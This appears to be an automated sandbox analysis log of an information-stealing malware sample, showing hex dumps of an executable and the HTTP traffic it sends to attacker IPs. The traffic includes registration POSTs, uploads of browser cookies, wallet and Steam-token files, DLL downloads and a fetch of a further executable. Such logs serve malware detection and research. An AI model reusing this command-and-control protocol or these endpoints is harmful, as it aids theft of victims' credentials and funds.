00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 69 75 75 76 6e 68 67 00 20 1a 00 00 e0 31 00 00 1c 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 61 6f 63 77 7a 73 63 00 10 00 00 00 00 4c 00 00 06 00 00 00 12 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4c 00 00 22 00 00 00 18 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 10:16:10 GMTContent-Type: application/octet-streamContent-Length: 4440064Last-Modified: Wed, 27 Nov 2024 09:14:32 GMTConnection: keep-aliveETag: "6746e2f8-43c000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 80 c7 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c7 00 00 04 00 00 56 d0 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 6a c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6a c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 73 00 00 10 00 00 00 36 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 73 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 73 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 38 00 00 b0 73 00 00 02 00 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 66 7a 64 70 7a 6b 62 00 50 1b 00 00 20 ac 00 00 4e 1b 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 67 62 6a 62 66 68 6d 00 10 00 00 00 70 c7 00 00 04 00 00 00 9a 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 c7 00 00 22 00 00 00 9e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 41 45 46 36 33 44 43 46 30 32 34 36 39 31 37 33 31 37 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="hwid"312AEF63DCF02469173176------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="build"mars------BFCAAEHJDBKJJKFHJEBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="message"browsers------FBKEHJEGCFBFHJJKJEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="message"plugins------BAFCGIJDAFBKFIECBGCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="message"fplugins------ECBGCGCGIEGCBFHIIEBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKKHost: 185.215.113.206Content-Length: 6415Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKFHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 2d 2d 0d 0a Data Ascii: ------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CGIEBAFHJJDBGCAKJJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="file"------BGHIIJDGHCBFIECBKEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDGHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file"------HDHCFIJEGCAKJJKEHJJE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="message"wallets------EHJDHJKFIECAAKFIJJKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHCHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="message"files------JEGHJKFHJJJKJJJJKEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 2d 2d 0d 0a Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file"------KKECBFCGIEGCBGCAECGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="message"ybncbhylepme------CAKEBFCFIJJKKECAKJEH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
